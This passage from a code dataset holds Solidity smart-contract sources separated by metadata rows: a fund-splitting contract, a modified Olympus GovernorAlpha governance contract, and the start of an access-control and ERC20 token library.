/// which is `2 ^ 128 - 1` units of each asset.
/// It's up to the caller to guarantee that this limit is never exceeded,
/// failing to do so may result in a total protocol collapse.
abstract contract Splits {
/// @notice Maximum number of splits receivers of a single user. Limits the cost of splitting.
uint256 internal constant _MAX_SPLITS_RECEIVERS = 200;
/// @notice The total splits weight of a user
uint32 internal constant _TOTAL_SPLITS_WEIGHT = 1_000_000;
/// @notice The total amount the contract can keep track of each asset.
// slither-disable-next-line unused-state
uint256 internal constant _MAX_TOTAL_SPLITS_BALANCE = type(uint128).max;
/// @notice The storage slot holding a single `SplitsStorage` structure.
bytes32 private immutable _splitsStorageSlot;
/// @notice Emitted when a user collects funds
/// @param userId The user ID
/// @param assetId The used asset ID
/// @param collected The collected amount
event Collected(uint256 indexed userId, uint256 indexed assetId, uint128 collected);
/// @notice Emitted when funds are split from a user to a receiver.
/// This is caused by the user collecting received funds.
/// @param userId The user ID
/// @param receiver The splits receiver user ID
/// @param assetId The used asset ID
/// @param amt The amount split to the receiver
event Split(uint256 indexed userId, uint256 indexed receiver, uint256 indexed assetId, uint128 amt);
/// @notice Emitted when funds are made collectable after splitting.
/// @param userId The user ID
/// @param assetId The used asset ID
/// @param amt The amount made collectable for the user on top of what was collectable before.
event Collectable(uint256 indexed userId, uint256 indexed assetId, uint128 amt);
/// @notice Emitted when funds are given from the user to the receiver.
/// @param userId The user ID
/// @param receiver The receiver user ID
/// @param assetId The used asset ID
/// @param amt The given amount
event Given(uint256 indexed userId, uint256 indexed receiver, uint256 indexed assetId, uint128 amt);
/// @notice Emitted when the user's splits are updated.
/// @param userId The user ID
/// @param receiversHash The splits receivers list hash
event SplitsSet(uint256 indexed userId, bytes32 indexed receiversHash);
/// @notice Emitted when a user is seen in a splits receivers list.
/// @param receiversHash The splits receivers list hash
/// @param userId The user ID.
/// @param weight The splits weight. Must never be zero.
/// The user will be getting `weight / _TOTAL_SPLITS_WEIGHT`
/// share of the funds collected by the splitting user.
event SplitsReceiverSeen(bytes32 indexed receiversHash, uint256 indexed userId, uint32 weight);
struct SplitsStorage {
/// @notice User splits states.
/// The key is the user ID.
mapping(uint256 => SplitsState) splitsStates;
}
struct SplitsState {
/// @notice The user's splits configuration hash, see `hashSplits`.
bytes32 splitsHash;
/// @notice The user's splits balance. The key is the asset ID.
mapping(uint256 => SplitsBalance) balances;
}
struct SplitsBalance {
/// @notice The not yet split balance, must be split before collecting by the user.
uint128 splittable;
/// @notice The already split balance, ready to be collected by the user.
uint128 collectable;
}
/// @param splitsStorageSlot The storage slot to holding a single `SplitsStorage` structure.
constructor(bytes32 splitsStorageSlot) {
_splitsStorageSlot = splitsStorageSlot;
}
function _addSplittable(uint256 userId, uint256 assetId, uint128 amt) internal {
_splitsStorage().splitsStates[userId].balances[assetId].splittable += amt;
}
/// @notice Returns user's received but not split yet funds.
/// @param userId The user ID
/// @param assetId The used asset ID.
/// @return amt The amount received but not split yet.
function _splittable(uint256 userId, uint256 assetId) internal view returns (uint128 amt) {
return _splitsStorage().splitsStates[userId].balances[assetId].splittable;
}
/// @notice Calculate the result of splitting an amount using the current splits configuration.
/// @param userId The user ID
/// @param currReceivers The list of the user's current splits receivers.
/// @param amount The amount being split.
/// @return collectableAmt The amount made collectable for the user
/// on top of what was collectable before.
/// @return splitAmt The amount split to the user's splits receivers
function _splitResult(uint256 userId, SplitsReceiver[] memory currReceivers, uint128 amount)
internal
view
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
if (amount == 0) {
return (0, 0);
}
uint32 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
}
splitAmt = uint128((uint160(amount) * splitsWeight) / _TOTAL_SPLITS_WEIGHT);
collectableAmt = amount - splitAmt;
}
/// @notice Splits the user's splittable funds among receivers.
/// The entire splittable balance of the given asset is split.
/// All split funds are split using the current splits configuration.
/// @param userId The user ID
/// @param assetId The used asset ID
/// @param currReceivers The list of the user's current splits receivers.
/// @return collectableAmt The amount made collectable for the user
/// on top of what was collectable before.
/// @return splitAmt The amount split to the user's splits receivers
function _split(uint256 userId, uint256 assetId, SplitsReceiver[] memory currReceivers)
internal
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
mapping(uint256 => SplitsState) storage splitsStates = _splitsStorage().splitsStates;
SplitsBalance storage balance = splitsStates[userId].balances[assetId];
collectableAmt = balance.splittable;
if (collectableAmt == 0) {
return (0, 0);
}
balance.splittable = 0;
uint32 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
uint128 currSplitAmt =
uint128((uint160(collectableAmt) * splitsWeight) / _TOTAL_SPLITS_WEIGHT - splitAmt);
splitAmt += currSplitAmt;
uint256 receiver = currReceivers[i].userId;
_addSplittable(receiver, assetId, currSplitAmt);
emit Split(userId, receiver, assetId, currSplitAmt);
}
collectableAmt -= splitAmt;
balance.collectable += collectableAmt;
emit Collectable(userId, assetId, collectableAmt);
}
/// @notice Returns user's received funds already split and ready to be collected.
/// @param userId The user ID
/// @param assetId The used asset ID.
/// @return amt The collectable amount.
function _collectable(uint256 userId, uint256 assetId) internal view returns (uint128 amt) {
return _splitsStorage().splitsStates[userId].balances[assetId].collectable;
}
/// @notice Collects user's received already split funds
/// and transfers them out of the drips hub contract to msg.sender.
/// @param userId The user ID
/// @param assetId The used asset ID
/// @return amt The collected amount
function _collect(uint256 userId, uint256 assetId) internal returns (uint128 amt) {
SplitsBalance storage balance = _splitsStorage().splitsStates[userId].balances[assetId];
amt = balance.collectable;
balance.collectable = 0;
emit Collected(userId, assetId, amt);
}
/// @notice Gives funds from the user to the receiver.
/// The receiver can split and collect them immediately.
/// Transfers the funds to be given from the user's wallet to the drips hub contract.
/// @param userId The user ID
/// @param receiver The receiver
/// @param assetId The used asset ID
/// @param amt The given amount
function _give(uint256 userId, uint256 receiver, uint256 assetId, uint128 amt) internal {
_addSplittable(receiver, assetId, amt);
emit Given(userId, receiver, assetId, amt);
}
/// @notice Sets user splits configuration. The configuration is common for all assets.
/// Nothing happens to the currently splittable funds, but when they are split
/// after this function finishes, the new splits configuration will be used.
/// @param userId The user ID
/// @param receivers The list of the user's splits receivers to be set.
/// Must be sorted by the splits receivers' addresses, deduplicated and without 0 weights.
/// Each splits receiver will be getting `weight / _TOTAL_SPLITS_WEIGHT`
/// share of the funds collected by the user.
function _setSplits(uint256 userId, SplitsReceiver[] memory receivers) internal {
SplitsState storage state = _splitsStorage().splitsStates[userId];
bytes32 newSplitsHash = _hashSplits(receivers);
emit SplitsSet(userId, newSplitsHash);
if (newSplitsHash != state.splitsHash) {
_assertSplitsValid(receivers, newSplitsHash);
state.splitsHash = newSplitsHash;
}
}
/// @notice Validates a list of splits receivers and emits events for them
/// @param receivers The list of splits receivers
/// @param receiversHash The hash of the list of splits receivers.
/// Must be sorted by the splits receivers' addresses, deduplicated and without 0 weights.
function _assertSplitsValid(SplitsReceiver[] memory receivers, bytes32 receiversHash) private {
require(receivers.length <= _MAX_SPLITS_RECEIVERS, "Too many splits receivers");
uint64 totalWeight = 0;
// slither-disable-next-line uninitialized-local
uint256 prevUserId;
for (uint256 i = 0; i < receivers.length; i++) {
SplitsReceiver memory receiver = receivers[i];
uint32 weight = receiver.weight;
require(weight != 0, "Splits receiver weight is zero");
totalWeight += weight;
uint256 userId = receiver.userId;
if (i > 0) {
require(prevUserId != userId, "Duplicate splits receivers");
require(prevUserId < userId, "Splits receivers not sorted by user ID");
}
prevUserId = userId;
emit SplitsReceiverSeen(receiversHash, userId, weight);
}
require(totalWeight <= _TOTAL_SPLITS_WEIGHT, "Splits weights sum too high");
}
/// @notice Asserts that the list of splits receivers is the user's currently used one.
/// @param userId The user ID
/// @param currReceivers The list of the user's current splits receivers.
function _assertCurrSplits(uint256 userId, SplitsReceiver[] memory currReceivers)
internal
view
{
require(_hashSplits(currReceivers) == _splitsHash(userId), "Invalid current splits receivers");
}
/// @notice Current user's splits hash, see `hashSplits`.
/// @param userId The user ID
/// @return currSplitsHash The current user's splits hash
function _splitsHash(uint256 userId) internal view returns (bytes32 currSplitsHash) {
return _splitsStorage().splitsStates[userId].splitsHash;
}
/// @notice Calculates the hash of the list of splits receivers.
/// @param receivers The list of the splits receivers.
/// Must be sorted by the splits receivers' addresses, deduplicated and without 0 weights.
/// @return receiversHash The hash of the list of splits receivers.
function _hashSplits(SplitsReceiver[] memory receivers)
internal
pure
returns (bytes32 receiversHash)
{
if (receivers.length == 0) {
return bytes32(0);
}
return keccak256(abi.encode(receivers));
}
/// @notice Returns the Splits storage.
/// @return splitsStorage The storage.
function _splitsStorage() private view returns (SplitsStorage storage splitsStorage) {
bytes32 slot = _splitsStorageSlot;
// slither-disable-next-line assembly
assembly {
splitsStorage.slot := slot
}
}
}
| 258,244 | 732 |
e8bbce2169280b3a0f1e9de7e63313e998c07c4a701a41795c0caa0f7a931b9e
| 17,266 |
.sol
|
Solidity
| false |
552163849
|
jparr721/CPSC678
|
359053fe46b0d6ad872643b650695b9e74c04a8e
|
olympus-contracts/contracts/governance/GovernorAlpha.sol
| 4,051 | 16,765 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Olympus Governor OHMega";
/// @notice change from original contract
function quorumPercent() public pure returns (uint) { return 40000; } // In ten-thosandaths 40000 = 4.00%
/// @notice The maximum setable proposal threshold percent
/// @notice change from original contract
function proposalThresholdPercent() public pure returns (uint) { return 10000; } // 1.00% of sOHM circulating supply : In ten-thosandaths 10000 = 1.00%
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Olympus Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the gOHM token
/// @notice change from original contract
gOHMInterface public gOHM;
/// @notice The address of the sOHM token
/// @notice change from original contract
sOHMInterface public sOHM;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Threshold of gOHM at start of proposal
/// @notice change from original contract
uint thresholdAtStart;
/// @notice Number of gOHM needed to pass vote
/// @notice change from original contract
uint votesNeeded;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address sOHM_, address gOHM_, address guardian_) public {
timelock = TimelockInterface(timelock_);
/// @notice change from original contract
sOHM = sOHMInterface(sOHM_);
/// @notice change from original contract
gOHM = gOHMInterface(gOHM_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
/// @notice change from original contract
require(gOHM.getPriorVotes(msg.sender, sub256(block.number, 1)) > getVotesFromPercentOfsOHMSupply(proposalThresholdPercent()), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
/// @notice change from original contract
thresholdAtStart: getVotesFromPercentOfsOHMSupply(proposalThresholdPercent()),
/// @notice change from original contract
votesNeeded: getVotesFromPercentOfsOHMSupply(quorumPercent()),
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
/// @notice change from original contract
require(msg.sender == guardian || gOHM.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposal.thresholdAtStart, "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
/// @notice change from original contract
function getVotesFromPercentOfsOHMSupply(uint percent) public view returns (uint256 votes) {
return gOHM.balanceTo(div256(mul256(sOHM.circulatingSupply(), percent), 1e6));
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
/// @notice change from original contract
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < proposal.votesNeeded) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
/// @notice change from original contract
uint votes = gOHM.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function mul256(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "multiplication overflow");
return c;
}
function div256(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
/// @notice change from original contract
interface gOHMInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint);
function balanceTo(uint _amount) external view returns (uint);
}
/// @notice change from original contract
interface sOHMInterface {
function circulatingSupply() external view returns (uint);
}
| 12,110 | 733 |
c5023c662562df61682ac218b4ab2b846731ee6d0ff803b8de5eb74a73b71d14
| 20,389 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/7e/7e2a7799a020dbdc21ec21bd4ba7d61219277004_Accessible.sol
| 3,666 | 14,878 |
pragma solidity >=0.4.22 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function pow(uint256 base, uint256 exponent) internal pure returns (uint256) {
if (exponent == 0) {
return 1;
}
else if (exponent == 1) {
return base;
}
else if (base == 0 && exponent != 0) {
return 0;
}
else {
uint256 z = base;
for (uint256 i = 1; i < exponent; i++)
z = mul(z, base);
return z;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Accessible is Ownable {
mapping(address => bool) private access;
constructor() {
access[msg.sender] = true;
}
modifier hasAccess() {
require(checkAccess(msg.sender));
_;
}
function checkAccess(address sender) public view returns (bool) {
if (access[sender] == true)
return true;
return false;
}
function removeAccess(address addr) public hasAccess returns (bool success) {
access[addr] = false;
return true;
}
function addAccess(address addr) public hasAccess returns (bool) {
access[addr] = true;
return true;
}
}
contract ExternalAccessible {
address public accessContract;
function checkAccess(address sender) public returns (bool) {
bool result = Accessible(accessContract).checkAccess(sender);
require(result == true);
return true;
}
modifier hasAccess() {
require(checkAccess(msg.sender));
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is Context, IERC20, ExternalAccessible {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
uint8 public _decimals;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
